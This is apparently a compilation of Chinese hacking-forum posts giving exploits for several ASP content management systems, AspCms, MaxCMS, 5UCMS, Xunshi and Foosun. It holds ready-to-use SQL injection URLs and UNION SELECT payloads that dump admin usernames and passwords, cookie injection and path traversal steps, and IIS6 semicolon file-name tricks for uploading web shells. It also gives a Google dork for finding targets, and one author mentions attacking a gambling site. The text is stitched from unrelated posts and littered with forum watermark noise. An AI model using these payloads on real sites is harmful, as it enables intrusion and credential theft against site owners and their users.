久久久电脑

来源：http://www.t00ls.net/thread-19635-1-1.html

1. - 低调求发展2 w* h: L9 K2 u% a! q; X
user_reg.asp

'注册
case "user_reg_do"

        user_name = trim(request.form("user_name"))
        user_pass = trim(request.form("user_pass"))
        user_pass_again = trim(request.form("user_pass_again"))
        user_mail = trim(request.form("user_mail"))
        user_pass_question = trim(request.form("user_pass_question"))
        user_pass_answer = trim(request.form("user_pass_answer"))
        user_sex = trim(request.form("user_sex"))
        user_www = trim(request.form("user_www"))
        user_sign = trim(request.form("user_sign"))
        user_face = trim(request.form("user_face"))
        user_qq = trim(request.form("user_qq"))
        user_msn = trim(request.form("user_msn"))
        %>

简单过滤空格

if instr(user_name,"        ") > 0 or instr(user_name,"#") > 0 or instr(user_name,"`") > 0 or instr(user_name,"|") > 0 or instr(user_name," ") > 0 or instr(user_name,"　") > 0 or Instr(user_name,"%") > 0 or Instr(user_name,"&") > 0 or Instr(user_name,"ヴ") > 0 or Instr(user_name,"ヂ") > 0 or Instr(user_name,"ゼ") > 0 or Instr(user_name,"ヅ") > 0 or Instr(user_name,"") > 0 or Instr(user_name,"+") > 0 or Instr(user_name,"=") > 0  or Instr(user_name,"'") > 0 then
        session("message") = "<li>用户名中不能含有特殊符号</li>"
        session("message") = session("message") & "<li><a href=""javascript:history.back();"">返回</a></li>"

没有检测；分号   可以注册duos.asp;1的账户
X- Q* _
有个特性是注册会员上传的头像是根据自己名字来保存图片  
注册duos.asp;1的账户 ==》上传脚本.jpg==》自动保存为 duos.asp;1.jpg (这点可以利用IIS6.0的解析漏洞) - 低调求发展" w$ W1 i  E" j' l6 i6 G1 K
T00LS! ~0 C7 A6 ?/ e+ v6 I
2.
XSS很多。  这个对论坛影响较大。

Author: Virushack

Blog: http://virushack.org

From:www.v5script.org

漏洞文件：editpass.asp

漏洞代码：

1. Dim   linkman  ,  gender  ,  phone  ,  mobile  ,  email  ,  qq  ,  address  ,  postcode 
2. if   isnul  (  rCookie  (  “loginstatus”   ))   then   wCookie  “loginstatus”   ,  0  
3. if   rCookie  (  “loginstatus”   )=  1     then  
4. set   rsObj  =  conn  .  Exec   (  “select * from aspcms_Users where UserID=” & trim  (  rCookie  (  “userID”   )),  “r1″ ) 
5. 直接通过rCookie 取得userid带入查询.

再看看 rcookie函数的处理

1. ‘读cookies
2. Function rCookie(cookieName)
3. rCookie=request.cookies(cookieName)
4. End Function

直接通过cookies取得

利用：
注册个帐号让 loginstatus不为空
然后 cookies注入 userID 不管你手注还是工具 都行 我这是用火狐的cookies插件

Exploit：UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins
效果图：

后台拿shell 就更简单了  插一句话什么都行  我这就用最稳当的方法

http://127.0.0.1/admin/_Style/AspCms_TemplateEdit.asp?filename=a.asp

http://127.0.0.1/Templates/default/html/a.asp

Google Dork: Powered by AspCms v1.5

'\admin\admin_upfile.asp 
<% 
'略 
    dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath 
    dim dirTemplate : dirTemplate="../Upload" 
    dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate 
    if left(path,9)<>"../Upload" then  alert "只允许编辑Upload目录","admin_upfile.asp" : die "" 
'略 
%>

判断问题。T00LS+ F$ l9 p) s" t% A% N
T00LS; u- @6 D+ J0 y
利用方法:

'\admin\admin_template.asp 
<% 
checkPower 
'略 
    dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath 
    dim dirTemplate : dirTemplate="../template" 
    dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate 
    if left(path,11)<>"../template" then  alert "只允许编辑template目录","admin_template.asp" : die "" 
'略 
%>
 
利用方法: 
http://127.0.0.1/admin/admin_template.asp?action=edit&filedir=../template/../robots.txt
 
shell篇：
 
'/admin/upload.asp 
<% 
'略 
    attachdir="/"+sitePath+"upload"'上传文件保存路径，结尾不要带/ 
    dirtype=2'1:按天存入目录 2:按月存入目录 3:按扩展名存目录  建议使用按天存 
    maxattachsize=2097152'最大上传大小，默认是2M 
    upext="txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid"'上传扩展名 
     
'略 
                if upfile.isErr=3 then 
                    err="上传文件扩展名必需为："+upext 
                else 
                    err=upfile.ErrMessage 
    '略 
        Dim tmpPath 
        isErr_=0 
        Set oFileStream = CreateObject ("ADODB.Stream") 
        oFileStream.Type = 1 
        oFileStream.Mode = 3 
        oFileStream.CharSet = "gb2312" 
    '略 
        tmpPath=Split(Path,".")(0) 
        FileExt=GetFileExt(Path) 
        if Over then 
            if isAllowExt(FileExt) then 
                oFileStream.SaveToFile tmpPath & "." & FileExt,2 
                if Err.number<>0 then OutErr("保存文件时出错,请检查路径,是否存在该上传目录!该文件保存路径为" & tmpPath & "." & FileExt) 
            Else 
                isErr_=3 
                ErrMessage_="该后缀名的文件不允许上传!" 
                OutErr("该后缀名的文件不允许上传") 
            End if 
        Else 
    '略 
Public Function FileData(Item) 
    isErr_=0 
    if file.Exists(Item) then 
        if isAllowExt(File(Item).FileExt) then 
            '略 
            Else 
            isErr_=3 
            ErrMessage_="该后缀名的文件不允许上传" 
            OutErr("该后缀名的文件不允许上传") 
            FileData="" 
        End if 
    else 
        ErrMessage_="不存在该对象(如该文件没有上传,文件为空)!" 
        OutErr("不存在该对象(如该文件没有上传,文件为空)") 
'略 
%>
 
判断问题： - 低调求发展, b  P9 k! ^: x, J9 e
www.t00ls.net" `7 S2 b! s$ D# G$ I. k
构造文件名：one.asp;
 
上传地址： 
2
[url]http://127.0.0.1/admin/editor/upload.htm[/url]
 
其他信息：
r6 m" p2 v" ?' s1 e
默认数据库地址：\date\#A5E371101111.mdb



 

http://www.3est.com/5156/

在文件admin/ admin_inc.asp中：
Sub checkPower   //第103行
        dim loginValidate,rsObj : loginValidate = "maxcms2.0"
        err.clear
        on error resume next
        set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")
rCookie函数在文件inc/ CommonFun.asp中
Function rCookie(cookieName)   //第28行
        rCookie = request.cookies(cookieName)
End Function
rCookie函数仅从cookie读取数据没做任何过滤，导致cookie注入漏洞的产生。
<*参考
参考官方补丁
*>
测试方法:修改cookies值注入

----
过滤单引号

首发地址:www.3est.com
Author:村长
BLOG:www.baidu.com

拿赌博站时，遇到的充值地址在这个程序的站点上，所以就去下载了份，略过看注入点，直接看上传地方.


文件u_sc1.asp源码：

文件u_sc1save.asp源码

此文件所涉及的3个文件yiwebchina.asp,buyok.asp,functions.asp都米有验证ADMIN，所以直接利用吧

漏洞利用1：

http://www.baidu.com/admin/u_sc1 ... c&fupname=1.asa;&frmname=youpic   (上传SHELL的图片格式)

漏洞利用2:
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic    （随便上传）

http://www.baidu.com/admin/u_sc1 ... &frmname=youpic     （随便上传）

http://www.baidu.com/admin/u_sc1 ... &frmname=youpic        （随便上传）


都注意SHELL文件不要超过限制200K（除开第四条DB上传外）


原理也很简单，也是给想学习自己找ODAY的菜菜详细的分析，呵呵

有一次不小心发现了5UCMS一个小漏洞。漏洞文件

后台目录/ajax.asp
因未进行后台用户验证，导致未登陆也可访问此文件，文件存在sql注入。

我今天进官方看了下好象漏洞他们已经发出了修复公告了，这里我把利用公布出来 直接暴出后台帐号密码。

ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from xxxx_Admin&id=1%20and%201=2%20UNION%20select%201%20from xxxx_Admin xxxx_Admin这个表名一般都是他们在安装的时候自定以的，一般都是用域名 比如www.xxxa.com这个站 表名可能就是xxxa_admin 大家自己修改。没什么技术含量 一般新手暴不出来所以才发出来

说实话他们的程序还是比较安全的能搞出个也不错了。对于我们这些菜鸟来说。

出现：True|False|ERR: Object required 证明表名添写错误了。

http://www.t00ls.net/thread-16239-1-1.html

讯时网站管理系统一款界面清爽、操作体验极好的ASP网站管理系统，而且免费开源，尤其是这套系统的新闻部分非常深受各位站长的喜爱，使用时，这个CMS系统的首页需要你自己设计一个模板，然后由后台设置后进行JS调用。因此后台的功能比较完备.

可能就是因为程序员疏忽数据库链接文件没有容错语句，所以导致暴库漏洞。

漏洞文件：admin/admin_conn.asp
<%
mdb="../"
%>

够简单吧，但是可能就是因为程序员疏忽，所以出现问题啦，这是一个数据库链接文件，但是因为这文件没有容错语句，所以导致暴库漏洞下面是我的本机地址 http://www.hackqing.com/news/admin/admin_conn.asp，我们把最后一个“/”号改成“%5c”然后，暴库数据库地址.

修复方案：这个漏洞修复方法很简单，只要添加防错语句即可

"ON ERROR RESUME NEXT“这一句话！

这漏洞应该是程序员疏忽造成的，在根目录下也有个admin_conn.asp 文件，这文件程序员添加了防错语句.

风讯foosun的注册文件存在漏洞，可以暴管理员帐号和密码。

漏洞文件：

 http://www.xxx.com/user/SetNextOptions.asp

利用简单的方法：

暴管理员帐号：

http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin

暴管理员密码：

http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin.

影响的版本：2.5 3.0  acces  更久的版本没看


User/Upload.asp文件
34-50行